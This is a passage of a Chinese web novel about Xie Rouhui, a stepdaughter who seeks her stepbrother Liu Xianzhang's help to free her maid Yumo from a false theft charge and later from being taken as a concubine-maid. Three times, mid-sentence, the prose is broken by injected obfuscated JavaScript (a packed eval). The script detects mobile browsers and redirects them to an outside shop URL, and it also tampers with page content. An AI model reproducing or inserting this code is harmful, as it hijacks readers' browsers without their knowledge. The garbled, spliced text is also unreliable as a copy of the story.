谢柔徽再次由衷感叹了人与人之间的差距。 不过她今日心里装着事,无心享受美食,与柳显章客套了几句。 而柳显章则反映冷淡,不欲与她多说的模样。 成功的几率一降再降。 谢柔徽掐了把掌心,使劲回想上回的场景,她是如何说动柳显章帮她救治颜镜棠来着? 哦对,眼泪! 撒娇啊,装柔弱扮可怜,也许柳显章就吃这一套也说不定。 她半抬眼睛,挤出三两滴眼泪,幼细了嗓子道:“显章哥哥可是讨厌我吗?” 这声哥哥甜得起腻。 东纨背过身去咳嗽。 柳显章端茶的手指一僵。 上回柳同勋要他们改口,推着谢柔徽到他面前。 小姑娘表情尴尬,皱着小脸,分外为难地喊了他一声。 和这次可是有天壤之别。 再说两人之前同住一个院子那么久,也从未见她这么主动地来找。 柳显章稍稍沉默了一会儿。 谢柔徽便提心吊胆,她果然不擅此道。 她忽然看到柳显章朝自己莞尔,于是赶紧调整表情跟着笑起来。 却不想柳显章接下来的一段话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16861243|190869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让她的笑容僵在脸上。 “你为何会这样问?”他静静地看着她,“你与你娘亲还未入府时便搅得柳府不得安宁,入府后,我父亲与祖母之间的矛盾日盛,你娘亲献计让我父亲远赴临安,使得我祖母骨肉分离,而我二弟与二妹与你同样纠葛重重,你为何会觉得我会喜欢你的存在?” 他抬起茶杯,大有送客之意。 掌心生汗,谢柔徽将帕子胡乱揉了揉,缓缓起身。 柳显章说的在理,可那是站在他的角度上。 是,他没有道理为她考虑。 她方才是犯傻了,一时忘记了此行的目的。 她要的是解决眼前的麻烦。 何必为了显而易见的答案而伤怀。 她摸了摸脸,有些烫。 毕竟被人不留情面地斥了一通。 刚才的试探不但不起效果,还让对方厌恶了。 她不再迂回,选择开门见山。 “显章哥哥方才说的那些话我都懂,不过那绝非我和娘亲所愿,我与娘亲入府也不是抱着什么见不得人的目的,只是想在乱世中求一个安稳的居所。” “我这次来不是为了别的,想必显章哥哥也听说了,家宴上,奕昌哥哥丢了金佛,赖在玉茉身上,婆子们偏帮偏信,将玉茉软禁起来,我可保证,我与玉茉从来没见过那金佛,玉茉也不是偷盗之人,我只是想求显章哥哥看在玉茉曾为大房丫鬟的情面上救救她。” 东纨在心中摇头,当这是断案的府衙吗?大公子从不管这种污糟闲事。 他紧紧盯着大公子,只要主子稍微暗示,他就能立即熟稔地使借口将谢小姑娘敷衍走。 柳显章的手指在桌上轻点。 东纨提起精神,刚要开口,却看谢柔徽率先站了起来。 “是我为难了显章哥哥。”她抬脚离开,身形细瘦,走了两步略回过头,稚嫩的脸上是彷徨无依,“我生父早早就不在了,母亲如今也离开了身边,形单影只的,不比娥娇姐姐和奕昌哥哥有底气,这一出了事,我竟总想靠别人解决,这次是我冒犯了,我先回去了,显章哥哥歇着吧。” 柳显章虚抬的手指忽然按在桌面,“玉茉是你的丫鬟,没人比你更了解她,若是你亲自与祖母说明,比我一个局外人去求情更有用。” “可老夫人怎会信我不信奕昌哥哥呢?” 柳显章道:“祖母不是拎不清的人,是非对错,原则性问题,她也不会偏心。” 谢柔徽听口风,猜测他是坐视不理了,沮丧地垂下肩头,“我晓得了。”与他告辞出来,与梳儿越走越觉得风又急又冷,情不自禁抱住了双臂。 刚到院门处听到背后有脚步声。 她回头,柳显章一边朝这处走来一边往身上披外袍,抬起下颌系了颈扣。 东纨跟在后面不住叹气。 柳显章经过时与她道:“我去祖母那请安,要同去吗?” 谢柔徽的眼睛渐渐亮起来,脸颊随之浮起两个小小的梨涡,“要去!” 20. 第 20 章 天气渐冷,柳老夫人恹恹的没什么胃口,晚饭时不过勉强吃了点米和菜就撂下筷子。 王妈妈伺候老夫人这么多年,猜到老夫人心情低落与柳大爷远赴临安有关。 毕竟那是老夫人唯一的儿子啊,亲手带大,一直跟在身边,骤然离开,哪个当娘的不想? 待饭菜撤下后,王妈妈见老夫人实在没精神,就服侍她先在软榻上眯一会儿。 忙活完了走出去,丫鬟向她禀告大公子来了。 王妈妈一愣,大公子从未这个时辰来,通常都是早上来请安。 柳显章看四处静悄悄的,问:“祖母可是睡下了?” 王妈妈连忙道:“没有,刚才还和我说着话呢,大公子进来就是。” 自柳大爷走后,老夫人也就这么一个慰藉了。 她一个做下人的怎么能剥夺老夫人来之不易的天伦之乐。 她殷勤地将帘子撩起,先将大公子让进去。 大公子忙于学业,老夫人体恤他辛苦,罢了他每日请安的规矩。 但大公子孝顺,但凡能挤出时间,总会来看一看祖母。 王妈妈轻手轻脚走到榻前,见老夫人眼睫微颤,显是并未睡熟,便附在耳边道:“章哥儿来啦!” 果然,老夫人猛地睁开眼睛,脸上难得露出点高兴的神采,拢了拢头发,让她将自己扶坐起来。 不过几日不见,老夫人觉得章哥儿好像哪里又变了些。 细想也对,这个年纪的男孩,正跟抽芽的柳枝儿似的,一天一个模样。 老夫人见着亲孙,爱得跟什么似的,一会儿让人给他背后塞上软垫子,防着坐时间长了腰酸,一会儿又让王妈妈把柜子里的上好的补品给一样拿两盒。 老夫人捏了捏他的手臂,身上是结实了,可脸颊上怎么还是没什么肉,下颌瘦削。 年轻小媳妇欣赏这样的,口口声声说大公子长得愈发清俊。 可到了她这把年纪,总觉得那种白白胖胖,脸上肥嘟嘟的有福相的样貌才最好。 免不了又问道:“近日吃的好不好,睡的香不香,底下人可有懈怠的?” 柳显章自然是样样答好。 老夫人叹道:“勤勉是好,可也不能不爱惜自己的身体,咱们如今的生意虽不比从前,但还是有些家底的,不用去试读书的苦,有了秀才的功名就足够了。” 走仕途当然比经商要体面得多。 位极人臣,哪个读书人不想? 可她心疼自家的孙子受这般苦。 过关斩将,能入殿试者万里挑一。 可柳显章却不想做一名混吃等死的公子哥,志向在高远。 老夫人心中叹一口气,不知是喜是忧。 祖孙俩聊了会儿,柳显章忽然道:“我方才进来时见到了谢小妹妹。” 老夫人一听就耷拉了脸,“她来做什么?” 柳同勋出发去临安那天,老夫人赌气没有相送。 可在他走后,老夫人却没有一日不惦记着这个儿子,时时刻刻盼着他能早日归家。 上个月,大儿从外地捎送回一封家书,寥寥不过数百字,精短到了极点,将他到任后发生的一些事都一笔带过,主要是为报平安。 老夫人将那封家书反反复复看了不下几十遍,每每捧着那薄而轻的信笺,心口处就传来一下下的钝痛。 思念之情越盛,对那个狐媚女人也就越生恨。 谢柔徽这个女孩,虽没直接掺和到大人之间的乱事里。 可在她看来,说难听些,这女孩不过是个用来安定颜镜棠的人质罢了。 要不然她早将那孩子撵出去了。 若不是这回主动提起那女孩的是长孙,她定要发火了。 老夫人强忍着补了一句道:“让王妈妈将她轰走,我没时间见她。” 语气中的厌恶是挡不住的。 柳显章原本低眸不知在想什么,听到祖母这样说,便抬头道:“不必麻烦王妈妈,我已让她先回去了。” 他笑了笑,“从没见过胆子这么小的孩子,想见您却又怕您不喜她,在外面一直徘徊着,我见她脸色熬得难看,便劝她先回去了,只是她走的时候一步三回头,还是存着心事呢。” 柳老夫人侧目多看了他两眼。 这个长孙一向踏实,话虽不多,却句句精辟到位,从不说废话。 柳老夫人大概猜测到长孙的意图,只眯着眼乔装不知,配合他追问了一句。 柳显章见风使舵,见祖母态度软和了,便说起谢柔徽的大丫鬟被婆子关进柴房冻了半宿,一问缘由,原来是柳奕昌怀疑那丫鬟偷拿自己东西,而婆子又急于交差,想借此逼供。 谢柔徽在府里举目无亲,求助无门,也就这么一个亲近的丫鬟,即使心知祖母厌恶她,还是放下自尊来了。 这般可怜,老夫人年纪大了,心肠没有年轻时那么硬了,生了恻隐之心。 仔细回想起来,确实有这档子事。 那天家宴后,柳奕昌急三火四地来给她请安。 她那时已经困倦要歇下了,以为柳奕昌有什么要紧的事,强提着精神听完,这才知道只是丢了个小玩意儿。 柳奕昌言之凿凿那金佛被下人偷拿了。 柳府竟出了贼。 老夫人震惊之下不疑有他,立即让手底下一个婆子处理这事。 谁知那婆子竟在没有实据的情况下随意将人关押起来了。 再加上柳显章适时提醒。 老夫人想起那丫鬟名为玉茉,原先是伺候柳同勋的,后来才被柳同勋给了谢柔徽。 仆随其主,她相信大儿调教下人的手段,自然也相信那玉茉必是个品行端正的好孩子。 柳老夫人管家时,驭下极严,也就这两年精神不济,才叫底下人浑水摸鱼,当即压了眉梢,唤来王妈妈,确认此事,动怒道:“不分青红皂白便将人关起来动用私刑,像什么话?” 她让王妈妈去彻查此事,若玉茉是清白的,便将她放出来好生安抚,再将动手关人的婆子赶出府去。 其实玉茉到底拿没拿金佛实在好查明。 玉茉被搜过身了,住处也被翻得底朝天,她来往较为亲密的人也没胆子替她私藏赃物。 且看玉茉神情坦坦荡荡,哪里有偷盗之人的心虚不宁。 王妈妈带着人搜捡紫雁阁,又叫来柳奕昌身边常伺候的小厮问话。 柳奕昌见这件事越闹越大,已经脱离了他的掌控,不免坐立不安。 那贴身小厮可是知道实情的,若是一个不小心说出什么,他就完了。 柳奕昌只好将金佛丢到桌下,让洒扫的丫鬟发现了,结束了这桩闹剧。 但他还不是不可避免地被父亲痛骂了一场, “废物!一个小小的金佛都保管不好,如此粗心大意,自己丢了东西自己去找也就是了,谁允许你去麻烦老太太的?” 柳奕昌低着头挨骂,心中愈发仇视谢柔徽。 怨恨她竟能让柳显章替她说情。 只不过……只怕她下回就没这般好运了。 谢柔徽听说柳奕昌在自己书房找到了金佛,气得在心里大骂他。 果然是在做戏栽赃陷害她。 好脏的手段。 玉茉一瘸一拐地回来了,虽有婆子们和软轿相送,可下轿时脸和手都是青白的,围着白狐狸皮的围脖。 婆子笑眯眯道:“这是老夫人体恤玉茉姑娘受了委屈,特意赏给她的。” 谢柔徽没搭理那群人,上去抱住玉茉低声道:“她们是不是给你用刑了?” 玉茉摇了摇头,说这是自己在柴房里气得踹墙,把脚趾踢青了。 谢柔徽扶她回房躺下,梳儿自发地端水端药照顾玉茉。 不管玉茉如何解释自己无事,谢柔徽都要她先歇几天。 “你虽现在没什么症状,可毕竟在柴房里冻了一宿,万一伤了元气怎么办?” 女子体弱,不能受寒。 玉茉一听,顿时觉得身体四处都不太舒坦,头一歪倒在枕头上,哎呦哎呦地叫冷。 梳儿抱来两床被子给她重上,还小心端来两个炭盆生火。 屋子本就不大,一会儿的功夫热气就冒出来了。 谢柔徽坐在床头跟蒸桑拿一样,浑身冒热汗。 玉茉窝在被子里吸鼻子,脸蛋红彤彤的,问她,“小姐你是怎么把我救出来的?” 谢柔徽不敢贪功,直言是借了柳显章的东风。 那天柳显章邀请她同行。 她以为是要见老夫人了,还打了腹稿,准备好好表现一把。 结果柳显章只让她在大门外等着信,却全程没让她露脸,自己一个人就把事办了。 事了拂衣去,深藏功与名。 现在,柳显章在她心中俨然一个高洁如雪的英雄形象,恨不得顶礼膜拜。 玉茉渐渐张大了嘴巴,“竟是大公子替奴婢求的情吗?奴婢竟有这样好的造化,小姐您是怎么说动大公子的,大公子那样的贵人也会关心我们做下人的吗?” 谢柔徽随意敷衍过去了。 没提她故技重施,与上次一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872111|190869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般,占了两人身世一样的便宜,利用了柳显章的怜悯之心。 招不在新,管用即可。 玉茉本就身子骨好,很快恢复过来,主张要去给大公子谢恩。 谢柔徽也正有此意。 毕竟柳显章帮了她这么多,虽不图名不图利,可她也得有所表示。 可柳显章比她们富裕得多。 不缺钱不缺物,她们有的他都有,她们没有的他也有。 如何选个合适的礼品就成了个棘手问题。 玉茉对此颇有心得,提议道:“大公子念书辛苦,您不如为他做个决明子的软枕,不仅有明目的功效还能助眠。” 谢柔徽拿了银子买了顶好的料子,请婆子教导,然后一针一线亲自做了个软枕,还别出心裁在枕面上绣了花样。 只是她的绣工实在马马虎虎。 玉茉左右端详着成品,实在认不出她绣的是什么,虚心求问。 谢柔徽指着那歪歪扭扭的曲线,“这是大海浪花。” 手指上移,在那状似死鱼头的东西上点了点,“这是大鳌的头颅。” 本朝科举考试,只有状元郎才能站在浮雕巨鳌上迎榜。 她就取了独占鳌头的寓意。 自然是祝福柳显章最终能摘得魁首,如愿考取状元。 玉茉听完后泪光闪闪,“小姐您真是有心了,大公子见了后一定感动。” 她殷勤地将枕头包好送过去。 东纨出面收下了,至于柳显章见到那枕头后是何表情,到底用没用上,谢柔徽就不得而知了。 不过至少是个心意。 她顿时觉得心里头的负担轻了不少。 不过玉茉却有些上瘾,时不时撺掇她再亲手做些东西送过去。 “说到底大公子是您的继兄,比旁人亲近些也是应该的,大公子又是那般心善的人,您送些亲手做的小玩意儿,聊表心意,将来说不定能派上用场。” 于是做东西——送过去——做新东西——再送过去,成了一个完美的闭环。 谢柔徽往柳显章的院子里跑得勤快了。 丫鬟婆子们都看在眼里,不免议论纷纷。 东纨看着那小山堆似的杂物,摇头叹气。 夜里头,柳显章看书,他伺候火烛,又端了点心做夜宵。 东纨打小伺候主子,深知主子脾性。 这些天枕竹居不断来人送东西,别看主子笑脸相迎,心里头肯定烦透了,便道:“要不然,小的找个借口打发了,让她以后别再来找您。” 柳显章头也没抬,片刻后,捻过一页,挑眉看他,“你方才说什么?” 东纨愣了一下,堆笑道:“挺晚的了,您要不要歇了?” 柳显章还想再看一会儿书,摆摆手。 东纨退出去,低声叫来丫鬟,让她们将库房里的东西归置整齐了,别弄脏了弄乱了,保不齐何时主子就想起来要用上了。 虽然这几率很小,不过总得谨慎着不是。 又过了数月,柳显章到了十五岁的生辰。 柳府不给年轻人大操大办生辰宴,只各房里出点贺礼。 老夫人早已有了想法。 章哥儿十五的年纪了,他本就早熟,比同龄人更加独立,是时候分个主院住下。 沁风堂宽敞干净,还带了一处花园子,老夫人早就让工匠将其里外翻修了一遍,如今便指给了这个长孙。 而比柳显章只小了几个月的柳奕昌就没这般殊荣了。 老夫人压根没想着他,他依然和父母住在一个院子里,有珠玉在前,他这个瓦石少不得经常受父亲责骂。 等柳显章搬过去沁风堂,老夫人又给他添了十多名下人。 因柳同勋不在,有关长孙的各项琐事不免都需要老夫人亲力亲为。 她私底下与王妈妈提了一遍,说到章哥儿年纪不大不小,已到了知晓人伦之事的时候,想安排两位通房丫鬟给他。 只是通房丫鬟务必要经过层层筛选,容貌不需太出挑,但品行必须端正,以免勾坏了孙儿。 王妈妈说,这种事要一视同仁。 老夫人想着二儿柳泽盛忙于生意,二儿媳又一向娇惯孩子,不必他们做主,便捎带上柳奕昌。 只是柳显章还未发表意见时,柳奕昌便主动找到祖母,声称自己已经有了中意的人选。 老夫人笑呵呵道:“是哪个丫鬟让你瞧上了?说与祖母听,只要是个规矩人,祖母都允给你。” “那个人祖母认识。”柳奕昌道:“就是枕竹居的玉茉。” 21. 第 21 章 枕竹居偏远,还不等她们听到信,老太太的婆子就已经来了。 玉茉听后无异于一个晴天霹雳砸在头顶,晃晃悠悠地栽倒,被梳儿及时扶住了。 婆子嫌弃道:“知道你高兴,也不必激动成这样,这般不稳重,也不知二公子为何看上你了。”她转过头看向谢柔徽,笑道:“过两日再给您送来一批丫鬟,都是调教好的,肯定比玉茉用着趁手。” 谢柔徽不喜欢她将丫鬟视作物件可随意处置的感觉。 等婆子走了,玉茉“哎哟”一声直起身子,抱着谢柔徽便痛哭流涕道:“小姐您得救我啊!” “放心,从一开始我就没想让你去。”谢柔徽回抱住她。 或许这在其他人眼里是一桩美事。 成为二公子的通房丫鬟,初次体验后或许能在二公子心中占有特殊的感情,伺候得满意了,也能留下来得一侍妾的名分,一跃成为半个主子。 再不济,等二公子娶妻后,老太太也会为她指一个好去处,配人送嫁妆,富足一生。 总归比做下人天天干苦力强。 所以方才玉茉昏厥过去,婆子才会认为她这是欣喜过盛。 不过,就算她们抬出天大的好处,谢柔徽也不会放玉茉去的。 上次柳奕昌为了报复她,自导自演丢失金佛,贼喊捉贼,导致玉茉平白遭了无妄之灾。 玉茉畏惧柳奕昌是主子,不敢抱怨他一句,可心里头明显对他有所嫌恶。 而且玉茉曾得了颜镜棠的亲口允诺,将来要嫁给体面人家做正室。 如此,玉茉怎还会甘愿做一名低贱的通房丫鬟。 况且,还要和自己不喜欢的人行夫妻之事。 在谢柔徽眼里,光这一点就已经是糟糕透顶了。 想到此处,谢柔徽握住玉茉的手,再三保证:“我绝不让柳奕昌碰你一下!” 可说起来轻巧,实现却有些困难。 毕竟这次是老太太亲下的口令。 谢柔徽挺直腰杆,以豁出去的口吻道:“那我就去老夫人那亲自走一遭!” 为了玉茉,任打任骂随老夫人的意,反正她坚决不会同意此事。 玉茉感动得一塌糊涂,主仆两人抱成一团呜呜地哭。 哭得眼睛发干,玉茉吸了吸鼻子问她:“那您要用什么理由留下奴婢呢?” 谢柔徽挺胸傲然:“就说我用惯了你,不喜欢别人伺候!” 玉茉眨巴眨巴眼睛,没说话。 但是她的眼神中透露出了一点迟疑。 谢柔徽想到玉茉似乎是签了卖身契的。 卖身契在这个朝代的效用不必多说,霸王条款,等同于玉茉生是柳家的人,死是柳家的鬼。 玉茉现在姓柳不姓谢。 还轮不到她大张旗鼓地和柳奕昌抢人。 想到柳奕昌,谢柔徽便恨得牙痒痒。 柳奕昌就是想借此恶心她。 他根本不喜欢玉茉,不过是想把玉茉从她身边抢走罢了。 就算玉茉搬过去了也得不到任何优待。 还有可能因为她的关系而被柳奕昌刁难刻薄。 谢柔徽转身回房,从褥子底下左摸摸右掏掏,拿出一把小银钥匙,先将抽屉打开,把一叠数值不算小的银票攥到手心,走出来问玉茉:“你卖身契签了多少钱,我花银子赎回来。” 玉茉瞪大眼睛,口舌发干,“小姐,你……我……” 她结结巴巴说不出话,还是梳儿小声道:“应是二十两,玉茉姐姐比奴婢早两年进府,应是差不多的。” 玉茉抹了一把脸,“可二公子那点名要奴婢,刘管事不会轻易放奴婢的。” 刘管事可是个不见兔子不撒鹰的主,老奸巨猾,怎么也得从中榨取点油水出来。 谢柔徽才不怕,豪气万千地一拍桌子,“那我就出十倍价钱!” 十倍,那可是二百两雪花纹银,竟只是为了赎一名小丫鬟。 刘管事听完后还以为谢柔徽疯了,倒吸一口冷气道:“您有这二百两干点啥不好,非得花在这个小丫头片子身上。” 有这钱够买十个丫头了,还个个纤柔恭顺。 他一边为谢柔徽感到不值,同时又十分眼热谢柔徽提出的一百两好处费。 刘管事百般纠结,在屋子里足足绕了三四十圈,最后眼珠子几乎黏在那银票上,可还是慑于老夫人的淫威,不敢在这个节骨眼动手脚。 “您还是别为难小的了,小的吃这口饭不轻松,要是老夫人她知道,她前脚安排给二公子的人,后脚居然被小的给放出去了,那小的还不吃不了兜着走。唉,您别发愁啊!玉茉姑娘以后过的可是人上人的日子,比做丫鬟风光多了,多少人羡慕都羡慕不来呢!” 对着刘管事那张假笑的老脸,谢柔徽十分想吐槽一句:这福气给你要不要? 刘管事盯着银票,嘴里对她道:“您看这样成不成,满府里的丫鬟,您放开了挑,看上谁了,甭管是谁,小的都给您安排到枕竹居去伺候。” 他是想趁机留下银票。 谢柔徽丢下一句:“我只要玉茉!”然后抓了银票就怒气冲冲地离开了。 刘管事还在身后大喊:“您别着急走,咱们万事好商量!” 回去后,玉茉似是一直盯着院门口,听到动静就冲了出来,急切道:“他答应了吗?” 当看到谢柔徽露出不忍和失落的表情,她苦笑,“也是,他又不傻,怎么会答应呢?奴婢一家老小都在柳府里,走不了的,小姐,您把银票收起来,别被那些人瞧见了,要不然指不定使出什么阴招图谋您的钱呢!” 玉茉似乎是认命了,走回去收拾行李。 那婆子只给了她一天时间。 谢柔徽跟着走进去。 上回柳府抓贼,婆子们将这间屋子糟蹋得乱糟糟,损坏了不少东西。 玉茉和梳儿两人花了许多心思整修,还替换了喜欢的家具陈设。 瞧起来像模像样,有点家的感觉了。 可是玉茉就要从自己亲手装扮的小家里搬出去了。 梳儿趴在炕上哭。 谢柔徽的表情也十分沉重。 玉茉“噗嗤”一声,笑道:“小姐别担心奴婢,奴婢手脚粗粗笨笨的,没准二公子嫌弃奴婢,过两天就把奴婢赶回来了呢!” 梳儿哭得更大声了。 若失了身子还被赶回来,那玉茉日后还怎么生活? 谢柔徽跟着颜镜棠那将近一年的时间里,早已看尽了世人对女子存有多大的恶意。 玉茉脑子里一团乱麻,把包袱胡乱系了一个死结,带了些哭音,“都别哭了,你们一哭我也想哭,行了,我走了,都别送我,千万别送我,我有时间会回来看你们的。” 她背了一个小小的包袱,里面放了全部身家,离开的身影伶仃消瘦。 “别走!” 谢柔徽扑上去拽住她的包袱,颤着嗓子道:“我去想办法,我去想办法,不会让你走!” 一炷香的时间后,谢柔徽独自走上了去往沁风堂的路。 思来想去,她也只能厚着脸皮去投靠柳显章了。 她为将柳显章视作及时雨的心态而感到可耻。 可她又实在不忍心看到玉茉被她连累而沦为牺牲品。 求人这种事,到底一回生二回熟。 这段时间她也经常来沁风堂送东西,守门的护卫都眼熟她了,看她空着手匆匆而来还有些惊讶。 其中有个年轻人多看了她两眼,被她纳罕回视后,红着脸道了声“谢谢。” 见谢柔徽圆圆的小脸坦露不解,他解释说:“您上回做的糕点很好吃。” 谢柔徽稍愣了下,脸上虽还带着笑,可心里头却不知是什么滋味。 那糕点,她可是专程送给柳显章的。 是柳显章吃剩后赏给下人了吗? 还是嫌恶到一口未动就直接丢给他们了? 这二者之间的区别可谓是天差地别。 那糕点可是她虚心求教了师傅,失败了数次,用了好几天才做出来的,挑了一碟最完美的装到食盒里,送过去的时候还带着热气呢。 谢柔徽走了几步,想回去问问,但护卫正到了交班的时辰,那个年轻人已经走了。 罢了,何必纠结这个。 总是说心意到了就好,东西送过去就是人家的了。 她干嘛老是纠结柳显章如何处置那些东西的。 今日无风,阳光也暖融融的。 枝叶凋零得差不多的大槐树下蹲着一人。 柳显章难得穿了一身张扬炽烈的红衣,墨发束成马尾垂在背后,发尾却调皮地翘起来。 虽与平时的风格迥异,却不难看。 她轻唤了声,“显章哥哥。” 对方愣了下,头也未回道:“闭嘴。” 那声音暗哑,似是伤风受凉了。 柳显章的语气从来不会这么生硬。 谢柔徽不知自己哪里得罪了他。 她缓步过去,想要一探究竟。 对方察觉她在接近,立即压着嗓子道:“别过来!” 简单的三个字,对她的不耐烦已显而易见。 她颤抖地攥紧拳头,想转身就走,可心里头却强撑着一口气。 万一有什么误会呢? 她这样想着,便开口问道:“我到底哪里做错了,令显章哥哥如此生厌?” 情绪激荡下,她的嗓音也情不自禁地拔高了。 与此同时,她看到树根处似是蹦出了一个活物,通体黑得发亮,身体两侧闪着一点金光,飞速钻入草丛中了。 树下的人“啧”了声,撑膝站起。 谢柔徽这才发觉自己竟认错了人。 那人站起后,身形与柳显章完全不同,虽年纪差不多,可那人的肩膀更宽厚些,肌肤是常年接触阳光的小麦色。 他回过头,剑眉星目,是英朗的长相,眯了眯眼,盯着她道:“我不是让你闭上嘴巴了吗?瞧!把我的金翅大将军吓跑了,你赔得起吗?” 金翅?大将军? 谢柔徽有些愕然地看向草丛位置。 草丛深处传来响亮的虫鸣适时打破了她的困惑。 这个人原来是在捉蛐蛐儿。 真是的……多大年纪了还玩这种小孩子的玩意儿。 谢柔徽心里所想不自觉带到了脸上。 “你是什么人?”对方上前两步,眼风挟裹着她,“穿着打扮倒不像丫鬟,也不是柳家的两位小姐……” 他忽然露出一抹坏笑,“你是柳显章的童养媳?” “我是柳叔叔的干女儿谢柔徽!” 他好像认识她,下巴点了点,“就是你啊,显章哥哥长显章哥哥短的,喊得倒是亲密,看不出小小年纪就满腹心机的,厚着脸皮扒住柳显章想做什么,不知道自己招人烦啊?” 他与柳显章关系不错,对柳家的家事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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背后“嚓嚓”的脚步声,柳显章带着东纨走进来,正见她直愣愣戳在院子中间。 东纨殷勤地将她往屋子里让。 柳显章则走去了草丛那,与方才那个人交谈起来,形容亲昵。 谢柔徽盯着那两人,听柳显章对那人直呼其名,唤“宋瑛” 她一时不知心里翻涌着什么,忽然开口唤了一声,“显章哥哥!” 柳显章转过头看她,瞳孔在阳光下闪过琉璃色的光泽,不带什么情绪。 宋瑛也直起腰,瞥了一眼她,用手肘顶了顶柳显章,“你那便宜妹妹叫你呢?” 柳显章开口道:“你先进房坐一会儿,让丫鬟给你端些茶点吃,我稍过一会儿便进去找你。” 宋瑛放弃了寻找大将军,拍了拍手心的浮土,“你总缠着他做什么,难不成是你娘教你的?从男人身上占便宜,好不知羞。” “你说什么!”谢柔徽听他竟对颜镜棠评头论足,怒气上涌,不能再保持冷静。 “我说的哪里不对吗?”他步步逼近,涁州城内传满了颜镜棠的风言风语,此时料准了谢柔徽和她娘是一般的女子。 谢柔徽耳畔嗡声不断,视线中,对方嘴唇开合,似是又说了什么。 语气中的轻蔑,对颜镜棠的不敬。 一旦涉及到颜镜棠,谢柔徽便忘了柳显章还站在一旁,忍不住反唇相讥,“你很高尚吗?挺大的个子只会玩虫子的幼稚虫,衣着光鲜的败类,你凭什么看不起我娘。” 轮到对方怒而质问:“你说什么?!” 她哼了声不再答,转身想走,可宋瑛竟突然一把抓住了她的衣领。 本意是想将她拽回来,谁知道身高差得太多,他又不知收着力气,竟一把将她提了起来。 只是看到她在半空中手脚并用地挣扎,他又突然不想松手了,哈哈大笑。 笑声戛然而止。 谢柔徽整个人扒住他的手臂,一口小白牙咬了上来。 他猛一用力,结实的肌肉绷如铁壁。 谢柔徽机智地改咬为磨,宋瑛果然痛得变了脸色,一把将她甩开。 谢柔徽一屁股坐在了地上。 柳显章匆匆走过来,却是走到了宋瑛身边,问道:“怎么样?” 宋瑛随意甩甩手,“没事,就当被狗咬了一口。” 柳显章撸开他的袖子,小臂上赫然醒目的一圈牙印,正在缓慢渗出血。 他让丫鬟带着宋瑛去处理伤口,然后将还愣在地上发呆的谢柔徽扶起来,冷声道:“去给宋瑛道歉。” 谢柔徽道:“我没做错,为何要道歉?” 柳显章的态度十分强硬,重复道:“去道歉。” 谢柔徽双目发直,盯着自己方才坐着的位置看了许久,然后抬头看他,“显章哥哥,你也觉得他说的很对吗?其实你也从心里看不起我,觉得我烦,只是不得不敷衍我,连我送过来的糕点都觉得脏到难以入口,所以随便赏给了下人,是吗?” 柳显章蹙眉,看她的眼神像在看一个闯祸后不知悔改的孩子。 谢柔徽低头笑了两声,从牙缝里挤出道:“我才不会跟他道歉,他活该!” 说完后,她不再去看柳显章的表情,直接冲出了院门。 22. 第 22 章 谢柔徽埋头走了很久,到廊柱后的僻静处,她踮起脚尖望着四处无人,便垂下宽大的袖子,龇牙咧嘴地揉了揉屁股。 嘶——! 真的好疼。 刚才屁股和砖地亲密接触时,她仿佛听到尾巴骨传来“嘎巴”一声。 那一瞬间,全身过电般疼得发麻。 她不知用了多大的意志力,紧咬着后槽牙才没痛呼出声。 正所谓,头可断血可流,面子不能丢,她才不要在宋瑛面前示弱。 她一瘸一拐地往回走,走两步便要停下歇一歇,直到磨磨蹭蹭走到了枕竹居的大门前。 她有些不敢去推开那两扇门。 玉茉还殷切地盼着她能带回好消息呢。 可她却将一切都搞砸了。 那个不知从哪里蹦出来的宋瑛。 虚浮、小心眼、睚眦必报! 实打实地毁了她今日的计划。 强烈的懊悔涌上心头。 而后又感到莫名的低落。 不知是因被柳显章的好友当面羞辱。 还是亲眼目睹了柳显章那丝毫不加掩饰的偏袒。 早已预料到的,不是吗? 依附于人,便要做好被低人一等的准备。 可是,还是有些不甘心呢。 她深吸一口气,轻轻推开门。 果然,玉茉就寸步不离地守在院子里。 谢柔徽的脸色格外苍白,还不知如何开口时,玉茉已经焦急地冲了过来。 “玉茉,我……” “小姐,您看到梳儿了吗?” “啊?”谢柔徽听到这个意料之外的问题,诧异地瞪大眼睛,“梳儿她去哪了?” 梳儿年纪小又怯懦,谢柔徽不需要她外出去做什么与人打交道的工作,只让她将枕竹居这一亩三分地打理好,所以梳儿鲜少离开枕竹居。 玉茉紧紧攥着双手,手指扭缠在一起,神情复杂道:“她出去了,是因为我,我……我说错了话,她该是生我的气了,都怪我!” 谢柔徽听得莫名所以,一连追问之下才搞清楚。 原来她出去后,玉茉也没抱太大希望,只觉自己马上就要跌入那深渊般的境地里,坐立不安,于是无意识在院中绕圈,嘴里还念念有词。 梳儿见她仿佛陷入魔障了般,又惊又怕,便走来劝了几句,让她放宽心,一定要相信小姐。 